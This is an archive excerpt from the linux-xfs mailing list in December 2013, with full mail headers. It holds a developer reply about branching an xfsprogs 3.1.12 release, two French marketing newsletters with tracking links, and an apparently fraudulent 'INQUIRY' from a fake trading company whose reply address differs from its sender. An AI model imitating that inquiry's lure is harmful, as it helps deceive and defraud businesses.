linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6474F29DF8 for ; Thu, 19 Dec 2013 15:44:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43B71304087 for ; Thu, 19 Dec 2013 13:44:24 -0800 (PST) X-ASG-Debug-ID: 1387489462-04cbb04169846930001-w1Z2WR Received: from mail-wi0-f193.google.com (mail-wi0-f193.google.com [209.85.212.193]) by cuda.sgi.com with ESMTP id 4g0m6GXQYlOWwkC1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 19 Dec 2013 13:44:23 -0800 (PST) X-Barracuda-Envelope-From: vothimyhanh1991@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.193 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.193] Received: by mail-wi0-f193.google.com with SMTP id bz8so762019wib.8 for ; Thu, 19 Dec 2013 13:44:22 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.193] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.193] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=NfyaTUiexhd3V8Iah10GydWfTnYpojAenEwLJKEG/eo=; b=C98/PUjZUDALD61tgiXXuoURaA5wTRvCTH/twjsOldmSFfS3rLIVnGBnww6lq3vB7a 8ntQk11bi2/szLRaIjmVFI5F78BSSYO84ZGPHQaXIOrimVbU+LrNwUBbPNHkBCt66cd6 zyFoUPFc4vEnVGbsWxRnRsOZBHv4AHI7a57ZoJYihtGWsobPCTiube6qzoO8hSUPlWmF 4hXYN8PIXVAxZ5uwNIIaLt1pufV356h5w5O35ej5xPR9958fjigUyPATBkUkuT4iD4w+ JBWoEkyOyvzqtBzJHhlKl/KVnWCYNKgf0L7HSvjO/Iq+cFdORZf/NcvK02kYBpMRFCE2 GMBQ== MIME-Version: 1.0 X-Received: by 10.180.105.66 with SMTP id gk2mr4571061wib.32.1387489462121; Thu, 19 Dec 2013 13:44:22 -0800 (PST) Received: by 10.227.215.68 with HTTP; Thu, 19 Dec 2013 13:44:22 -0800 (PST) Reply-To: missnadra1985@gmail.com Date: Thu, 19 Dec 2013 21:44:22 +0000 Message-ID: Subject: INQUIRY From: Miss Shenz Quater X-ASG-Orig-Subj: INQUIRY To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=f46d04426f1c85446c04edea10a1 X-Barracuda-Connect: mail-wi0-f193.google.com[209.85.212.193] X-Barracuda-Start-Time: 1387489462 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MJ1576, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143235 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC0_MJ1576 Custom Rule MJ1576 --f46d04426f1c85446c04edea10a1 Content-Type: text/plain; charset=ISO-8859-1 Dear Sir/Madam, We are interested in purchasing your products and we sincerely hope to establish a long-term business relation with your esteemed company. Please kindly send me your latest catalog. Also, inform me about the Minimum Order Quantity, Delivery time or FOB, and payment terms warranty.Please contact us via: missnadra1985@gmail.com Your early reply is highly appreciated. Thank You! Best Regards, ______________________ Miss Shenz Quater Global Mega Trades Co.,Ltd. 14, Jln.Kesidang 3/6,80, Jalan Raja Chulan, 50200 Kuala Lumpur, Kuala Lumpur, Malaysia Email:missnadra1985@gmail.com Tel:+60102149434 INQUIRY --f46d04426f1c85446c04edea10a1 Content-Type: text/html; charset=ISO-8859-1
    Dear Sir/Madam,
    We are interested in purchasing your products and we sincerely hope to establish a long-term business relation with your esteemed company. Please kindly send me your latest catalog. Also, inform me about the Minimum Order Quantity, Delivery time or FOB, and payment terms warranty.Please contact us via: missnadra1985@gmail.com
    Your early reply is highly appreciated.
    Thank You!
    Best Regards,
    ______________________
    Miss Shenz Quater
    Global Mega Trades Co.,Ltd.
    14, Jln.Kesidang 3/6,80, Jalan Raja Chulan,
    50200 Kuala Lumpur, Kuala Lumpur, Malaysia
    Email:missnadra1985@gmail.com
    Tel:+60102149434
    INQUIRY
    --f46d04426f1c85446c04edea10a1-- From david@fromorbit.com Thu Dec 19 16:04:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 83DE129DF8 for ; Thu, 19 Dec 2013 16:04:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 679D98F809E for ; Thu, 19 Dec 2013 14:04:55 -0800 (PST) X-ASG-Debug-ID: 1387490690-04bdf00fdf128b50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id fQ89AFWYox5QWB4Z for ; Thu, 19 Dec 2013 14:04:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoQPADBss1J5LHyk/2dsb2JhbABZgws4pHCPN4VdgRQXdIIlAQEBBDocIxAIAw4KCSUPBSUDIROIAw7KfRcWjQKBegeDI4ETAQOYFZIVgz8o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 20 Dec 2013 08:34:49 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vtli2-0005qe-94; Fri, 20 Dec 2013 09:04:46 +1100 Date: Fri, 20 Dec 2013 09:04:46 +1100 From: Dave Chinner To: Ben Myers Cc: Rich Johnston , xfs-oss Subject: Re: [RFC] Userspace and xfstests releases Message-ID: <20131219220446.GA31386@dastard> X-ASG-Orig-Subj: Re: [RFC] Userspace and xfstests releases References: <52B06E51.1020504@sgi.com> <52B32CE0.5070701@sgi.com> <20131219193314.GX1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131219193314.GX1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387490690 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143235 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 19, 2013 at 01:33:14PM -0600, Ben Myers wrote: > Hey Rich, > > On Thu, Dec 19, 2013 at 11:29:04AM -0600, Rich Johnston wrote: > > On 12/17/2013 09:31 AM, Rich Johnston wrote: > > >I was planning on a xfsdump and xfstests release this week before I go > > >on vacation. Any objections? > > Currently xfstests is not released, should this be changed? > > > > I will wait until I return on Jan 2 to release xfsprogs. > > > > > > > >Release versions for xfsprogs are still being discussed. Are there any > > >more comments on this subject? > > Here is one of the threads discussing this. > > > > http://oss.sgi.com/archives/xfs/2013-10/msg00421.html > > Christoph were you saying you create xfsprogs branches? > > > > Is there a consensus on version names/branches for xfsprogs? > > I suggest a branch directly off of 3.1.11 release, and then we can troll the > log between refs/tags/3.1.11 and master for bugfixes. > > e.g. git checkout -b for-3.1.12 refs/tags/3.1.11 > > And then push it up to oss. Agreed - we're not really ready for a 3.2.0 release yet. I also think that we'll need a couple of weeks to test any 3.1.12 branch that is made before it can be released, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From pam=news-zetrend.com@mlgnusa.com Thu Dec 19 23:22:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CAE9B7F3F for ; Thu, 19 Dec 2013 23:22:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0AB5304077 for ; Thu, 19 Dec 2013 21:22:13 -0800 (PST) X-ASG-Debug-ID: 1387516928-04cb6c537e856220001-NocioJ Received: from mail9.mlgnusa.com (mail9.mlgnusa.com [194.19.244.216]) by cuda.sgi.com with ESMTP id eU4HYf2zFQ4Vd6f6 for ; Thu, 19 Dec 2013 21:22:09 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.216 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=WREhEvTpYYGJr81+CSTRET1O4dw=; b=bq/+8dAik8YYrec+tamFpTEe2RX3tODqjisJZHeLUsl5Av2b4+7kCgDlHw9gYvGP/+0tdRi9abpd RgeBTa5lumPUeC8RQTTIdLQXpcsf+u5e3MnbJslamXkoSBdsS3yhS8/c3cLVqrvYsb6X+DWWjpaM QEDMAAgBCbK5K/iXf78= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=g2OXD7+QF6i25m95ok4b42MwBB3/6WVbAdgcQiMttiMkHAIguPwwQueZPyoesyNsA75tPhVXyZPp e5YB6fcg1kf/Db3NSjr7DbtylWeW9cEpICXjNHS4sDenQPX76CpMQmrfFUy0My7OT/nRptEtQO0f ccRpTmePNMH47LymAwg=; Received: by mail9.mlgnusa.com id hmfa021fblcs for ; Fri, 20 Dec 2013 07:22:04 +0200 (envelope-from ) Date: Fri, 20 Dec 2013 06:45:53 +0200 To: From: Drouault - Neezz Reply-To: Drouault - Neezz Subject: -30% sur tout le site Message-ID: <5214f003828befff7be4fd876e07cb03@mlgnusa.com> X-ASG-Orig-Subj: -30% sur tout le site X-Priority: 3 X-Mailer: MailiGen Mailer - **CID20a626d5d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.20a626d5 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.20a626d5 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=20a626d5&e=d09c0023 List-Unsubscribe: , Sender: "Drouault - Neezz" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_0bd0c995c5aa2ae85fc9c17a142094eb" X-Barracuda-Connect: mail9.mlgnusa.com[194.19.244.216] X-Barracuda-Start-Time: 1387516929 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_0bd0c995c5aa2ae85fc9c17a142094eb Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Drouault : http://mtrc1.digital-metric.com/clic.php?params=7de7f00e9ee95e3872c37cfe1aeacd31 Couettes, oreillers, surconfort ® de matelas,... : http://mtrc1.digital-metric.com/clic.php?params=1fd9f692486e55144aea99ffe2bdaa01 : http://mtrc1.digital-metric.com/clic.php?params=72a4babe38e5823512f2f34d7f027e3d : http://mtrc1.digital-metric.com/clic.php?params=e3fdae6ad8d0bb7ecf7ec859cb91ad0f : http://mtrc1.digital-metric.com/clic.php?params=b2cbc8ae704f91032784c197849fbbfb NUITMAGIQUE : http://mtrc1.digital-metric.com/clic.php?params=369eb5b871e6df016d14362d442b22db : http://mtrc1.digital-metric.com/clic.php?params=10b65558d66a3144970d7eb434404062 : http://mtrc1.digital-metric.com/clic.php?params=34e202644c7d5d1d30a73a1492f5f470 : http://mtrc1.digital-metric.com/clic.php?params=d60b3e4658211a34813585c8c1a85b75 : http://mtrc1.digital-metric.com/clic.php?params=2bf1732768999e596b232a2a58f438b4 : http://mtrc1.digital-metric.com/clic.php?params=568e1b92e8e3ff986b4898f9fe98f23d : http://mtrc1.digital-metric.com/clic.php?params=2dae08ea1a056a9bab56b9df0c6e9778 Produits sur mesure paiement sécurisé livraison express fabriqué en france Offre valable jusqu'au 30 janvier 2013 : -30% de remise sur le site drouault.net (hors promotion en cours) avec le code NUITMAGIQUE Depuis 1850, la production française des établissements Drouault, situés au Mans, dans l'ouest de la France, est synonyme d'excellence dans l'univers du sommeil. La pureté des garnissages de ses produits ainsi qu'une finition de qualité font de Drouault une marque « haute couture » des accessoires de literie mondialement reconnue. Les produits issus des établissements Drouault sont réalisés à la main, leur donnant ainsi un cachet unique reconnaissable entre tous. L'approvisionnement des tissus et des garnissages est régulier, sécurisé et maîtrisé. Le traitement des plumes et duvets a toujours été intégré au site de production du Mans. Il permet d'offrir de façon constante le plus beau des garnissages naturels tout en garantissant une traçabilité complète de tous les produits. Drouault est synonyme de la qualité française. Conformément à la loi n°78-17 du 6 janvier 1978 relative à l'informatique, aux fichiers et aux libertés (loi dite Informatique et Libertés), les utilisateurs disposent d'un droit d'accès (art. 34 à 38 de la loi) et de retrait (art. 26 de la loi) de toutes les données à caractère personnel qui ont été portées à la connaissance de www.drouault.net lors de l'utilisation de son site Internet. De même, les utilisateurs disposent du droit de s'opposer à la cession des données. L'exercice des droits décrits ci-dessus est possible en envoyant un courriel à : conseil@drouault.net ========================================== Ce courriel a été envoyé par Drouault - Neezz à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=20a626d5&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=20a626d5&ln=fr --b1_0bd0c995c5aa2ae85fc9c17a142094eb Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Drouault
    Drouault Couettes, oreillers, surconfort ® de matelas,...
    Avec Drouault la nuit se pare de magie
    Moins trente pour cent
    sur tout le site
    avec le code NUITMAGIQUE J en profite
    Passez un hiver au chaud avec notre sélection coup de coeur
    Surconfort de matelas douxreve Je craque Oreiller duvet oie Je craque
    Couette Arosa Soixante dix pour cent duvet oie
    Parfaitement adaptée aux saisons froides Je craque
    Vois tous nos produits
    Produits
    sur mesure
    paiement
    sécurisé
    livraison
    express
    fabriqué
    en france
    Offre valable jusqu'au 30 janvier 2013 :
    -30% de remise sur le site drouault.net (hors promotion en cours) avec le code NUITMAGIQUE

    Depuis 1850, la production française des établissements Drouault, situés au Mans, dans l'ouest de la France, est synonyme d'excellence dans l'univers du sommeil. La pureté des garnissages de ses produits ainsi qu'une finition de qualité font de Drouault une marque « haute couture » des accessoires de literie mondialement reconnue. Les produits issus des établissements Drouault sont réalisés à la main, leur donnant ainsi un cachet unique reconnaissable entre tous.

    L'approvisionnement des tissus et des garnissages est régulier, sécurisé et maîtrisé. Le traitement des plumes et duvets a toujours été intégré au site de production du Mans. Il permet d'offrir de façon constante le plus beau des garnissages naturels tout en garantissant une traçabilité complète de tous les produits. Drouault est synonyme de la qualité français e.

    Conformément à la loi n°78-17 du 6 janvier 1978 relative à l'informatique, aux fichiers et aux libertés (loi dite Informatique et Libertés), les utilisateurs disposent d'un droit d'accès (art. 34 à 38 de la loi) et de retrait (art. 26 de la loi) de toutes les données à caractère personnel qui ont été portées à la connaissance de www.drouault.net lors de l'utilisation de son site Internet. De même, les utilisateurs disposent du droit de s'opposer à la cession des données. L'exercice des droits décrits ci-dessus est possible en envoyant un courriel à : conseil@drouault.net
    Ce courriel a été envoyé par Drouault - Neezz à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_0bd0c995c5aa2ae85fc9c17a142094eb-- From pam=news-zetrend.com@mlgnusa.com Thu Dec 19 23:22:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C1EFF7F52 for ; Thu, 19 Dec 2013 23:22:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8BAFC8F8073 for ; Thu, 19 Dec 2013 21:22:21 -0800 (PST) X-ASG-Debug-ID: 1387516928-04cb6c537d856220001-NocioJ Received: from mail.mlgnusa.com (mail.mlgnusa.com [194.19.244.188]) by cuda.sgi.com with ESMTP id rqoREyGY7uyu51YH for ; Thu, 19 Dec 2013 21:22:09 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.188 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=QRLobnEkV/M/hNUkp2l3rxD309U=; b=AvxWOombZtTKyXaUCPNFNfXTev+oBLVkxJHBkd7Bcc+H9OL9118sThxnG0JhLA3YZ7pbNu9MBb4x xijJDLQkFx8A3lLka4kvRtac7R+PJjIZ3fZ5bfIeYceFJHdFuC7HpJ1sMKPgFjrKCtk3dJTn1lLL 6z0s1tCFlxf38O2RX2I= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=z3591GKjQ6NTietNYdWMFgsw3PDJcpB+68kFZnNM62jfSmSbIcJKESECiTW+lSDawEPkwY9e1fm4 1PA5LpLSAUKBECcbWVMfQv2uaS5QCOkU8vG0CvYZ4OcoFZrOADLr5FguJE0i+qNJaQMBAL0B+Vb4 d34YZhefcTGbD9OX9nM=; Received: by mail.mlgnusa.com id hmfa041fblcq for ; Fri, 20 Dec 2013 07:22:04 +0200 (envelope-from ) Date: Fri, 20 Dec 2013 06:31:02 +0200 To: From: Pierre & Vacances par Nl-Promos Reply-To: Pierre & Vacances par Nl-Promos Subject: =?utf-8?Q?Derni=C3=A8res_minutes_:_jusqu'=C3=A0_-_40%_sur_votre_s=C3=A9jo?= =?utf-8?Q?ur_=C3=A0_No=C3=ABl?= Message-ID: <3ed6d89c29e2c729d2e0f812f75af0b7@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Derni=C3=A8res_minutes_:_jusqu'=C3=A0_-_40%_sur_votre_s=C3=A9jo?= =?utf-8?Q?ur_=C3=A0_No=C3=ABl?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID989208b0d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.989208b0 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.989208b0 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=989208b0&e=d09c0023 List-Unsubscribe: , Sender: "Pierre & Vacances par Nl-Promos" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_9c8bce4974ad41f45fd6942020219f44" X-Barracuda-Connect: mail.mlgnusa.com[194.19.244.188] X-Barracuda-Start-Time: 1387516929 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.27 X-Barracuda-Spam-Status: No, SCORE=0.27 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_9c8bce4974ad41f45fd6942020219f44 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Pierre & Vacances Passez un noël féérique à la montagne : jusqu'à -40% sur votre séjour! Profitez-en vite !: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dvacances%252Dnoel%252Dski%252Dpas%252Dcher%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%2B%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%2B%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fvacances%252Dski%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fski%252Dresidences%252Dtres%252Dbien%252Detre%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fvacances%252Dderniere%252Dminute%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dhebergement%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttps%253A%252F%252Fperso%252Epierreetvacances%252Ecom%252Fentrypoint%252F%253Freferer%253Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%2526referer%255Fcode%253Dpv%2526market%255Fcode%253Dfr%2526language%255Fcode%253Dfr%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : 